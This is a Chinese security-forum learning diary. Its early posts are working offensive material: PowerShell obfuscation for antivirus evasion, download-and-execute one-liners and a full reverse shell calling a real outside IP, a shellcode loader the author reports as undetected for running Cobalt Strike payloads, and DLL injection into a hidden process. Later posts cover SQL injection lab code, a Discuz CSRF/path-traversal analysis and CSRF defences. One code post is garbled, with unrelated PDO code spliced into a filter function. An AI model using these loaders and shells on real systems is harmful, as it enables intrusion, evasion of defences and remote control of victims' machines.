安全矩阵

 找回密码
 立即注册
搜索
楼主: pukr

陈艺琳的学习日记

[复制链接]

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2021-3-2 21:50:49 | 显示全部楼层
本帖最后由 pukr 于 2021-3-3 10:57 编辑

绕过执行策略的几种方式
1.本地读取然后通过管道符运行
2.远程下载并通过IEX运行脚本
3.bypass执行策略绕过
4.unrestricted执行策略标志

来源:Powershell免杀从入门到实践
简单混淆
cmd利用环境变量调用powershell:
  1. %psmodulepath:~24,10%
复制代码


设置别名:
  1. powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')
复制代码
转义字符:
  1. PS C:\Users\Administrator> IEX(New-Object Net.WebClient)."Downloa`d`String"('http://116.62.49.176:8888/powersploit/CodeExecution/Invoke-Shellcode.ps1')
复制代码
拆分语句:
  1. powershell "$a='((new-object net.webclient).downloadstring(''ht';$b='tp://109.xx.xx.xx/a''))';IEX ($a+$b)"
复制代码
中文单引号分割:

组合绕过:
  1. cmd /c "set p1=power&& set p2=shell&& cmd /c echo (New-Object Net.WebClient).DownloadString("http://109.xx.xx/a") ^|%p1%%p2% -"
复制代码


在powershell下执行语句比cmd下更容易bypass,而大多数环境都是cmd,故可以将目标机器的powershell反弹出来:
  1. 主机监听:nc -lvp 9090
复制代码
  1. 目标机器执行:powershell  -c "$client = New-Object Net.Sockets.TCPClient('116.62.49.176',9090);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()"
复制代码




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2021-3-3 10:54:34 | 显示全部楼层
本帖最后由 pukr 于 2021-3-3 10:56 编辑

使用加载器远程上线
加载器代码:保存为jzq.ps1,上传至目标机器。火绒未查杀
  1. function func_get_delegate_type_new {
  2.     Param (
  3.         [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
  4.         [Parameter(Position = 1)] [Type] $var_return_type = [Void]
  5.     )
  6.     $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
  7.     $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
  8.     $var_type_builder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
  9.     return $var_type_builder.CreateType()
  10. }

  11. function func_get_proc_address_new {
  12.     Param ($var_module, $var_procedure)        
  13.     $var_unsafe_native_methods = [AppDomain]::CurrentDomain.GetAssemblies()
  14.     $var_unsafe_native_methods_news = ($var_unsafe_native_methods  | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
  15.     $var_gpa = $var_unsafe_native_methods_news.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
  16.     return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods_news.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
  17. }

  18. If ([IntPtr]::size -eq 8) {
  19.     [Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"($args[0])
  20.     $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address_new kernel32.dll VirtualAlloc), (func_get_delegate_type_new @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
  21.     $var_buffer = $var_va.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
  22.     [System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $var_buffer, $acode.length)
  23.     $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type_new @([IntPtr]) ([Void])))
  24.     $var_runme.Invoke([IntPtr]::Zero)

  25. }
复制代码
然后将cs4.0生成的raw格式的test.bin放在云主机上。

目标机器执行:
  1. powershell -ExecutionPolicy bypass -File jzq.ps1 http://116.62.49.176:8888/pukr/test.bin
复制代码
cs可正常上线。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2021-3-3 10:55:34 | 显示全部楼层
我的图全没了。。
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2021-3-3 17:01:38 | 显示全部楼层
dll注入记录
cs生成raw格式的文件

然后在kali中利用msfvenum将其转化为dll文件
  1. root@ecskali-c:/var/www/html/pukr# msfvenom -p generic/custom PAYLOADFILE=./test.bin -a x64 --platform windows -f dll -o pukr.dll
复制代码
上传到目标机。没免杀,被火绒杀掉了。。关了火绒再来。。。
然后还是先下载powersploit的Invoke-DllInjection.ps1脚本。
  1. IEX(New-Object Net.WebClient).DownloadString("http://116.62.49.176:8888/powersploit/CodeExecution/Invoke-DllInjection.ps1")
复制代码
为使注入更加隐蔽,创建一个新的隐藏进程
  1. C:\Users\Administrator>powershell Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
复制代码
然后tasklist找到这个进程的pid


然后进行注入:
  1. PS C:\Users\Administrator> Invoke-DllInjection -ProcessID 14564 -Dll c:\pukr.dll
复制代码


cs上线。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2021-10-10 10:40:41 | 显示全部楼层
cookie注入
代码分析:
  1. <?php
  2. $id = $_COOKIE['id'];
  3. $value = 1;
  4. setcookie("id",$value);
  5. $con = mysqli_connect("localhost","root","root","sql");
  6. if(mysqli_connect_error()){
  7.         echo "连接失败: ". mysqli_connect_error();
  8. }
  9. $result = mysqli_query($con,"select * from users where `id`=".$id);
  10. if(!$result){
  11.         printf("error: %s\n",mysqli_error($con));
  12.         exit();
  13. }
  14. $row = mysqli_fetch_array($result);
  15. echo $row['username']." : ".$row['password'];
  16. echo "<br>";
  17. ?>
复制代码
XFF头注入
代码分析:
  1. <?php
  2. $con = mysqli_connect("localhost","root","root","sql");
  3. if(mysqli_connect_error()){
  4.         echo "连接失败: ". mysqli_connect_error();
  5. }
  6. if(getenv('HTTP_CLIENT_IP')){
  7.         $ip = getenv('HTTP_CLIENT_IP');
  8. }
  9. elseif(getenv('HTTP_X_FORWARDED_FOR')){
  10.         $ip = getenv('HTTP_X_FORWARDED_FOR');
  11. }
  12. elseif(getenv('REMOTE_ADDR')){
  13.         $ip = getenv('REMOTE_ADDR');
  14. }
  15. else{
  16.         $ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
  17. }
  18. $result = mysqli_query($con,"select * from users where `ip`=".$ip);
  19. if(!$result){
  20.         printf("error: %s\n",mysqli_error($con));
  21.         exit();
  22. }
  23. $row = mysqli_fetch_array($result);
  24. echo $row['username']." : ".$row['password'];
  25. echo "<br>";
  26. ?>
复制代码

修复建议

  1. <?php
  2. functionCheckSql($db_string,$querytype='select')
  3. {
  4.         global $cfg_cookie_encode;
  5.         $clean = '';
  6.         $error = '';
  7.         $old_pos = 0;
  8.         $pos = -1;
  9.         $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
  10.         $userIP = GetIP();
  11.         $getUrl = GetCurlUrl();
  12.         //普通查询过滤一些特殊语法
  13.         if($querytype == 'select'){
  14.                 $nowallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\._-]{1,}";
  15.                 $nowallow2 = "--|/\*";
  16.                 if(preg_match("/".$nowallow1."/i",$db_string)){
  17.                         fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
  18.                         exit("<font size='5' color='red'>Safe Alert: Request Error Step 1!</font>");
  19.                 }
  20.         }
  21.         //完整的SQL检查
  22.         while(TRUE){
  23.                 $pos = strpos($db_string,'\'',$pos+1);
  24.                 if($pos === False){
  25.                         break;
  26.                 }
  27.                 $clean.=substr($db_string,$old_pos,$pos-$old_pos);
  28.                 while (TRUE) {
  29.                         $pos1 = strpos($db_string, '\'',$pos+1);
  30.                         $pos2 = strpos($db_string, '\\',$pos+1);
  31.                         if($pos1 === False){
  32.                                 break;
  33.                         }
  34.                         elseif ($pos2 === False || $pos2>$pos1) {
  35.                                 $pos = $pos1;
  36.                                 break;
  37.                         }
  38.                         $pos = $pos2+1;
  39.                 }
  40.                 $clean. = '$s
  41. [color=#555555][font=Lato, &quot]预编译语句[/font][/color][font=Lato, PingFang SC, Microsoft YaHei, sans-serif][color=#555555]
  42. [/color][/font]
  43. [code]$dbms = 'mysql';
  44. $db_host = 'localhost';
  45. $db_user = 'root';
  46. $db_pass = 'root';
  47. $db_name = 'study';
  48. $dsn = "$dbms:host=$db_host;dbname=$db_name";
  49. $conn = new PDO($dsn,$db_user,$db_pass);
  50. //判断数据库是否连接成功
  51. if($conn->errorCode()){
  52.         die("filed".$conn->errorInfo());
  53. }

  54. $sql = "select * from users where username = :name";
  55. //预编译语句
  56. $stmt = $conn->prepare($sql);
  57. //定义要传入的变量(可以接收传过来的值)
  58. $username='admin';
  59. //将变量绑定到占位初
  60. $stmt ->bindParam(':name',$username);
  61. //执行sql语句
  62. $stmt->execute();
  63. // pdo预编译 占位符
  64. // $sql = "select * from users where username=? ";
  65. // $stmt = $conn->prepare($sql);
  66. // $username = 'root';
  67. //占位符通过变量绑定
  68. // $stmt -> bindParam(1,$username);
  69. // $stmt->execute();
  70. // $stmt->bindColumn(3,$id);
  71. // $stmt->bindColumn(2,$username);
  72. // 占位符通过数组绑定
  73. // $stmt ->execute([$username]);
  74. // $stmt->bindColumn(3,$id);
  75. // $stmt->bindColumn(2,$username);
  76. //将对应的数据库对应的列绑定到变量上
  77. $stmt->bindColumn(1,$pass);
  78. $stmt->bindColumn(2,$user);
  79. $stmt->bindColumn(3,$id);
  80. //将数据取出
  81. while($stmt->fetch()){
  82.         echo $id."<br>";
  83.         echo $username."<br>";
  84. }
  85. //释放内存资源
  86. $stmt =null;
  87. //断开连接
  88. $conn = null;
复制代码

方法一:执行一条使用命名占位符的预处理语句
  1. <?php
  2. $dbms = 'mysql';
  3. $db_host = 'localhost';
  4. $db_user = 'root';
  5. $db_pass = 'root';
  6. $db_name = 'job';
  7. $dsn = "$dbms:host=$db_host;dbname=$db_name";
  8. $conn = new PDO($dsn,$db_user,$db_pass);
  9. //$conn->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
  10. if($conn->errorCode()){
  11.     die("failed:".$conn->errorInfo());
  12. }
  13. //else{
  14. //  echo "success";
  15. //}
  16. $sql = "select * from company where c_id = :c_id and c_name=:c_name";
  17. $stmt = $conn->prepare($sql);
  18. $stmt->execute(array(":c_id"=>10086,":c_name"=>'dianxin'));
  19. $stmt->setFetchMode(PDO::FETCH_ASSOC);
  20. //echo $stmt->rowCount();
  21. foreach($stmt->fetchAll() as $k=>$v){
  22.     foreach ($v as $key=>$value){
  23.         echo $value;
  24.         echo "<br>";
  25.     }
  26. }
  27. $stmt = null;
  28. $conn = null;
  29. ?>
复制代码


方法二:执行一条使用问号占位符的预处理语句
  1. <?php
  2. $dbms = 'mysql';
  3. $db_host = 'localhost';
  4. $db_user = 'root';
  5. $db_pass = 'root';
  6. $db_name = 'job';
  7. $dsn = "$dbms:host=$db_host;dbname=$db_name";
  8. $conn = new PDO($dsn,$db_user,$db_pass);
  9. //$conn->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
  10. if($conn->errorCode()){
  11.     die("failed:".$conn->errorInfo());
  12. }
  13. //else{
  14. //  echo "success";
  15. //}
  16. //$sql = "select * from company where c_id = :c_id and c_name=:c_name";
  17. $sql = "select * from company where c_id = ? and c_name= ? ";
  18. $stmt = $conn->prepare($sql);
  19. //$stmt->execute(array(":c_id"=>10086,":c_name"=>'dianxin'));
  20. $stmt->execute(array(10086,'dianxin'));
  21. $stmt->execute(array(10086,'dianxin'));
  22. $stmt->setFetchMode(PDO::FETCH_ASSOC);
  23. //echo $stmt->rowCount();
  24. foreach($stmt->fetchAll() as $k=>$v){
  25.     foreach ($v as $key=>$value){
  26.         echo $value;
  27.         echo "<br>";
  28.     }
  29. }
  30. $stmt = null;
  31. $conn = null;
  32. ?>
复制代码


;
                $old_pos = $pos+1;
        }
        $clean.=substr($db_string,$old_pos);
        $clean = trim(strtolower(preg_replace(array('~\s+~s'), arrary(' '), $clean)));
        //老版本的MySQL不支持union, 常用的程序里也不使用union,但一些黑客使用它,所以要检查
        if(strpos($clean, 'union') !== False && preg_match('~(^|[^a-z])union($|[^[a-z])~s',$clean) != 0){
                $fail = TRUE;
                $error = "union detect";
        }
        //发布版本的程序可能几乎不包括 -- # 这样的注释 但黑客可能会使用。
        elseif(strpos($clean, '/*') > 2 || strpos($clean,'--') !== False || strpos($clean, '#') !== False){
                $fail = TRUE;
                $error = "comment detect";
        }
        //这些函数不会被使用 但黑客可能会用它来操作文件 down掉数据库
        elseif (strpos($clean, 'sleep') !== False && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s',$clean) != 0) {
                $fail = TRUE;
                $error = "slown down detect";
        }
        elseif (strpos($clean, 'benchmark') !== False && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s',$clean) != 0) {
                $fail = TRUE;
                $error = "slown down detect";
        }
        elseif (strpos($clean, 'load_file') !== False && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s',$clean) != 0) {
                $fail = TRUE;
                $error = "file fun detect";
        }
        elseif (strpos($clean, 'into outfile') !== False && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s',$clean) != 0) {
                $fail = TRUE;
                $error = "file fun detect";
        }
        //老版本的MySQL不支持子查询 程序里用的可能也少 但黑客可能使用它来查询数据库敏感信息
        elseif (preg_match('~\([^)]*?select~s', $clean) ! =0 ) {
                $fail = TRUE;
                $error = "sub select detect";
        }
        if(!empty($fail)){
                fputs(fopen($log_file, 'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
                exit("<font size='5' color='red'>Safe Alert: Request Error Step 2!</font>");
        }
        else{
                return $db_string;
        }
}
?>[/code]
预编译语句

  1. $dbms = 'mysql';
  2. $db_host = 'localhost';
  3. $db_user = 'root';
  4. $db_pass = 'root';
  5. $db_name = 'study';
  6. $dsn = "$dbms:host=$db_host;dbname=$db_name";
  7. $conn = new PDO($dsn,$db_user,$db_pass);
  8. //判断数据库是否连接成功
  9. if($conn-&gt;errorCode()){
  10.         die("filed".$conn-&gt;errorInfo());
  11. }

  12. $sql = "select * from users where username = :name";
  13. //预编译语句
  14. $stmt = $conn-&gt;prepare($sql);
  15. //定义要传入的变量(可以接收传过来的值)
  16. $username='admin';
  17. //将变量绑定到占位初
  18. $stmt -&gt;bindParam(':name',$username);
  19. //执行sql语句
  20. $stmt-&gt;execute();
  21. // pdo预编译 占位符
  22. // $sql = "select * from users where username=? ";
  23. // $stmt = $conn-&gt;prepare($sql);
  24. // $username = 'root';
  25. //占位符通过变量绑定
  26. // $stmt -&gt; bindParam(1,$username);
  27. // $stmt-&gt;execute();
  28. // $stmt-&gt;bindColumn(3,$id);
  29. // $stmt-&gt;bindColumn(2,$username);
  30. // 占位符通过数组绑定
  31. // $stmt -&gt;execute([$username]);
  32. // $stmt-&gt;bindColumn(3,$id);
  33. // $stmt-&gt;bindColumn(2,$username);
  34. //将对应的数据库对应的列绑定到变量上
  35. $stmt-&gt;bindColumn(1,$pass);
  36. $stmt-&gt;bindColumn(2,$user);
  37. $stmt-&gt;bindColumn(3,$id);
  38. //将数据取出
  39. while($stmt-&gt;fetch()){
  40.         echo $id."&lt;br&gt;";
  41.         echo $username."&lt;br&gt;";
  42. }
  43. //释放内存资源
  44. $stmt =null;
  45. //断开连接
  46. $conn = null;
复制代码

方法一:执行一条使用命名占位符的预处理语句
  1. &lt;?php
  2. $dbms = 'mysql';
  3. $db_host = 'localhost';
  4. $db_user = 'root';
  5. $db_pass = 'root';
  6. $db_name = 'job';
  7. $dsn = "$dbms:host=$db_host;dbname=$db_name";
  8. $conn = new PDO($dsn,$db_user,$db_pass);
  9. //$conn-&gt;setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
  10. if($conn-&gt;errorCode()){
  11.     die("failed:".$conn-&gt;errorInfo());
  12. }
  13. //else{
  14. //  echo "success";
  15. //}
  16. $sql = "select * from company where c_id = :c_id and c_name=:c_name";
  17. $stmt = $conn-&gt;prepare($sql);
  18. $stmt-&gt;execute(array(":c_id"=&gt;10086,":c_name"=&gt;'dianxin'));
  19. $stmt-&gt;setFetchMode(PDO::FETCH_ASSOC);
  20. //echo $stmt-&gt;rowCount();
  21. foreach($stmt-&gt;fetchAll() as $k=&gt;$v){
  22.     foreach ($v as $key=&gt;$value){
  23.         echo $value;
  24.         echo "&lt;br&gt;";
  25.     }
  26. }
  27. $stmt = null;
  28. $conn = null;
  29. ?&gt;
复制代码


方法二:执行一条使用问号占位符的预处理语句
  1. &lt;?php
  2. $dbms = 'mysql';
  3. $db_host = 'localhost';
  4. $db_user = 'root';
  5. $db_pass = 'root';
  6. $db_name = 'job';
  7. $dsn = "$dbms:host=$db_host;dbname=$db_name";
  8. $conn = new PDO($dsn,$db_user,$db_pass);
  9. //$conn-&gt;setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
  10. if($conn-&gt;errorCode()){
  11.     die("failed:".$conn-&gt;errorInfo());
  12. }
  13. //else{
  14. //  echo "success";
  15. //}
  16. //$sql = "select * from company where c_id = :c_id and c_name=:c_name";
  17. $sql = "select * from company where c_id = ? and c_name= ? ";
  18. $stmt = $conn-&gt;prepare($sql);
  19. //$stmt-&gt;execute(array(":c_id"=&gt;10086,":c_name"=&gt;'dianxin'));
  20. $stmt-&gt;execute(array(10086,'dianxin'));
  21. $stmt-&gt;execute(array(10086,'dianxin'));
  22. $stmt-&gt;setFetchMode(PDO::FETCH_ASSOC);
  23. //echo $stmt-&gt;rowCount();
  24. foreach($stmt-&gt;fetchAll() as $k=&gt;$v){
  25.     foreach ($v as $key=&gt;$value){
  26.         echo $value;
  27.         echo "&lt;br&gt;";
  28.     }
  29. }
  30. $stmt = null;
  31. $conn = null;
  32. ?&gt;
复制代码



回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2021-10-10 10:41:26 | 显示全部楼层
本帖最后由 pukr 于 2021-10-10 15:18 编辑

dixcuz! CSRF代码分析

7年之前的文章了,主要在学习思想。。

Discuz!X一个为所欲为的csrf+hpp(站点脱裤,任意文件文件操作,目录穿越,可能其他cms躺着中枪)
详细说明:
此漏洞来自dz公司的ucenter,这个ucenter,应该是在数据库备份操作时候,没有做csrf防御可导致dz被文件操作,脱裤等等,开始分析:

​下来我们分析代码: uc_server\control\admin\db.php85-ll6行):
  1. <blockquote>function onoperate() {
复制代码
这里的意思就是,当你发送一个get请求之后,然后php内部通过fopen完成剩下的所有动作,漏洞产生在哪里呢:
  1. $url = 'http://'.$_SERVER['HTTP_HOST'].str_replace('admin.php', 'api/dbbak.php', $_SERVER['PHP_SELF']).'?apptype=UCENTER';
  2.                 $code = $this->authcode('&method='.$type.'&sqlpath='.$backupdir.'&time='.time(), 'ENCODE', UC_KEY);
复制代码
看到这两句了没有,举个例子吧: 我们提交的http请求如果是: http://site.com/index.php?a=1&b=2 那么当我们b传递进来的时候重新二次构造url,如果我们的b=xxxx%26backupfilename%3Daaaa 这里时候等于在内部通过fopen发送get请求时候后面多添加了一个参数交个backupfilename=aaaa 看到这个解释,就恍然大悟了吧,肯定后面有怎么设置backupfilename,本来这里是不会被用户更改的,这样已设置,我们备份的文件名字可控了,直接可以拿到,再看代码: uc_server\api\dbbak.php255-334):
  1. <?php
  2. if($get['method'] == 'export') {
  3.     $db->query('SET SQL_QUOTE_SHOW_CREATE=0', 'SILENT');
  4.     $time = date("Y-m-d H:i:s", $timestamp);
  5.     $tables = array();
  6.     $tables = arraykeys2(fetchtablelist($tablepre), 'Name');
  7.     if($apptype == 'discuz') {
  8.         $query = $db->query("SELECT datatables FROM {$tablepre}plugins WHERE datatables<>''");
  9.         while($plugin = $db->fetch_array($query)) {
  10.             foreach(explode(',', $plugin['datatables']) as $table) {
  11.                 if($table = trim($table)) {
  12.                     $tables[] = $table;
  13.                 }
  14.             }
  15.         }
  16.     }
  17.     $get['volume'] = isset($get['volume']) ? intval($get['volume']) : 0;
  18.     $get['volume'] = $get['volume'] + 1;
  19.     $version = $version ? $version : $apptype;
  20.     $idstring = '# Identify: '.base64_encode("$timestamp,$version,$apptype,multivol,$get[volume]")."\n";
  21.     if(!isset($get['sqlpath']) || empty($get['sqlpath'])) {
  22.         $get['sqlpath'] = 'backup_'.date('ymd', $timestamp).'_'.random(6);
  23.         if(!mkdir(BACKUP_DIR.'./'.$get['sqlpath'], 0777)) {
  24.             api_msg('mkdir_error', 'make dir error:'.BACKUP_DIR.'./'.$get['sqlpath']);
  25.         }
  26.     } elseif(!is_dir(BACKUP_DIR.'./'.$get['sqlpath'])) {
  27.         if(!mkdir(BACKUP_DIR.'./'.$get['sqlpath'], 0777)) {
  28.             api_msg('mkdir_error', 'make dir error:'.BACKUP_DIR.'./'.$get['sqlpath']);
  29.         }        
  30.     }
  31.     if(!isset($get['backupfilename']) || empty($get['backupfilename'])) {
  32.         $get['backupfilename'] = date('ymd', $timestamp).'_'.random(6);
  33.     }
  34.     $sqldump = '';
  35.     $get['tableid'] = isset($get['tableid']) ? intval($get['tableid']) : 0;
  36.     $get['startfrom'] = isset($get['startfrom']) ? intval($get['startfrom']) : 0;
  37.     $complete = TRUE;
  38.     for(; $complete && $get['tableid'] < count($tables) && strlen($sqldump) + 500 < $sizelimit * 1000; $get['tableid']++) {
  39.         $sqldump .= sqldumptable($tables[$get['tableid']], strlen($sqldump));
  40.         if($complete) {
  41.             $get['startfrom'] = 0;
  42.         }
  43.     }
  44.     !$complete && $get['tableid']--;
  45.     $dumpfile = BACKUP_DIR.$get['sqlpath'].'/'.$get['backupfilename'].'-'.$get['volume'].'.sql';
  46.     if(trim($sqldump)) {
  47.         $sqldump = "$idstring".
  48.             "# <?php exit();?>\n".
  49.             "# $apptype Multi-Volume Data Dump Vol.$get[volume]\n".
  50.             "# Time: $time\n".
  51.             "# Type: $apptype\n".
  52.             "# Table Prefix: $tablepre\n".
  53.             "# $dbcharset\n".
  54.             "# $apptype Home: http://www.comsenz.com\n".
  55.             "# Please visit our website for newest infomation about $apptype\n".
  56.             "# --------------------------------------------------------\n\n\n".
  57.             $sqldump;

  58.         @$fp = fopen($dumpfile, 'wb');
  59.         @flock($fp, 2);
  60.         if(@!fwrite($fp, $sqldump)) {
  61.             @fclose($fp);
  62.             api_msg('database_export_file_invalid', $dumpfile);
  63.         } else {
  64.             fclose($fp);
  65.             auto_next($get, $dumpfile);
  66.         }
  67.     } else {
  68.         @touch(ROOT_PATH.$get['sqlpath'].'/index.htm');
  69.         api_msg('explor_success', 'explor_success');
  70.     }
复制代码
我们主要看这一句:
  1. if(!isset($get['backupfilename']) || empty($get['backupfilename'])) {
  2.         $get['backupfilename'] = date('ymd', $timestamp).'_'.random(6);
  3.     }
复制代码
刚才我们举例子了,按照这个逻辑走那么我们就会绕过去,不会在这里创建一个6个字符的随机数文件名 这里为了举例子,我们摘出来其中一部分sql备份: url:http://192.168.10.70/discuz_x3.2_sc_utf8[url=https://images.seebug.org/upload/uc_server/admin.php?m=db&a=operate&t=export&appid=0&backupdir=xxxx%26backupfilename%3Daaaa]https://images.seebug.org/upload ... ckupfilename%3Daaaa[/url] 按照程序的逻辑,这句话的意思就是在xxxx目录底下备份一个aaaa-1.sql 我们访问一下:

​我们去这个目录看看是否已经生成备份文件:

​有了这个我们害怕什么,很简单的一个get csrf,这时候我们在论坛发送一个img  一切都搞定......关于这里怎么利用,方法太多了 下来我们看第二个漏洞目录穿越: 这里的backupdir 居然没有做任何限制,所以我们可以再操作系统内部随意创建文件夹 并且把备份的文件给写入进去,想想都可怕,如果dz的数据库非常强大,我这里只要一个死循环,分分钟让硬盘爆满: url:http://192.168.10.70/discuz_x3.2_sc_utf8[url=https://images.seebug.org/upload/uc_server/admin.php?m=db&a=operate&t=export&appid=0&backupdir=../../../../../../../../../../../../../../../../../xxxx]https://images.seebug.org/upload ... ../../../../../xxxx[/url] 这时候我们去根目录看看:

有人说gpc开着那么我们就没有办法阶段这一句代码:
  1. !$complete && $get['tableid']--;
  2.     $dumpfile = BACKUP_DIR.$get['sqlpath'].'/'.$get['backupfilename'].'-'.$get['volume'].'.sql';
复制代码
说的一点都没有错,因为我们这个$get['backupfilename']是完全可控的,如果我们发送%00这里会被gpc转义为\0不会被截短,但是在linux底下就不一样了,每个文件达到一定长度时候它自然就被截断了,举个例子:
  1. $a='';
  2.   for($i=0;$i<=4071;$i++) {
  3.   $a .= '/';
  4.   }
  5.   $a = 'test.txt'.$a; //完整的路径为/var/www/test/test.txt
  6.   require_once($a.'.php');
  7.   ?>
复制代码
在Linux环境下测试,你会发现'.php'被截断了.这时候我们就可以写一个php文件了,不做演示了,主要漏洞点演示完毕 下来我们再看一个文件删除的地方:
  1. elseif($get['method'] == 'delete') {
  2.     $sqlpath = trim($get['sqlpath']);
  3.     if(empty($sqlpath) || !is_dir(BACKUP_DIR.$sqlpath)) {
  4.         api_msg('dir_no_exists', $sqlpath);
  5.     }
  6.     $directory = dir(BACKUP_DIR.$sqlpath);
  7.     while($entry = $directory->read()) {
  8.         $filename = BACKUP_DIR.$sqlpath.'/'.$entry;
  9.         if(is_file($filename) && preg_match('/\d+_\w+\-(\d+).sql$/', $filename) && !@unlink($filename)) {
  10.             api_msg('delete_dumpfile_error', $filename);
  11.         }
  12.     }
  13.     $directory->close();
  14.     @rmdir(BACKUP_DIR.$sqlpath);
  15.     api_msg('delete_sqlpath_success', 'delete_sqlpath_success');
  16. }
复制代码
这里的逻辑就是删除某个目录底下的以sql后缀的文件,然后删除改文件夹,当然了这个文件夹如果是空的,那么我也就直接删除,非空是删不掉的 由于$sqlpath 路径完全可控,所以导致,可以再某一个盘符底下任意穿越删除sql文件,不管你是其他备份的还是这里自己生成的一概删掉 反正有了这个fopen的参数污染bug,那么应该还有好多地方存在问题,这里就不一一说了 再付最后一张图:
​​

​​


​​

回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2021-10-10 15:33:53 | 显示全部楼层
CSRF漏洞测试
1. 验证HTTP Referer字段
根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如需要访问 [color=var(--theme-color)]http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory,用户必须先登陆
bank.example,然后通过点击页面上的按钮来触发转账事件。这时,该转帐请求的 Referer 值就会是转账按钮所在的页面的 URL,通常是以 bank.example 域名开头的地址。而如果黑客要对银行网站实施 CSRF 攻击,他只能在他自己的网站构造请求,当用户通过黑客的网站发送请求到银行时,该请求的 Referer 是指向黑客自己的网站。因此,要防御 CSRF 攻击,银行网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank.example 开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。
这种方法的显而易见的好处就是简单易行,网站的普通开发人员不需要操心 CSRF 的漏洞,只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统,不需要改变当前系统的任何已有代码和逻辑,没有风险,非常便捷。
然而,这种方法并非万无一失。Referer 的值是由浏览器提供的,虽然 HTTP 协议上有明确的要求,但是每个浏览器对于 Referer 的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不安全。事实上,对于某些浏览器,比如 IE6 或 FF2,目前已经有一些方法可以篡改 Referer 值。如果 bank.example 网站支持 IE6 浏览器,黑客完全可以把用户浏览器的 Referer 值设为以 bank.example 域名开头的地址,这样就可以通过验证,从而进行 CSRF 攻击。
即便是使用最新的浏览器,黑客无法篡改 Referer 值,这种方法仍然有问题。因为 Referer 值会记录下用户的访问来源,有些用户认为这样会侵犯到他们自己的隐私权,特别是有些组织担心 Referer 值会把组织内网中的某些信息泄露到外网中。因此,用户自己可以设置浏览器使其在发送请求时不再提供 Referer。当他们正常访问银行网站时,网站会因为请求没有 Referer 值而认为是 CSRF 攻击,拒绝合法用户的访问。
验证Referer方式总结
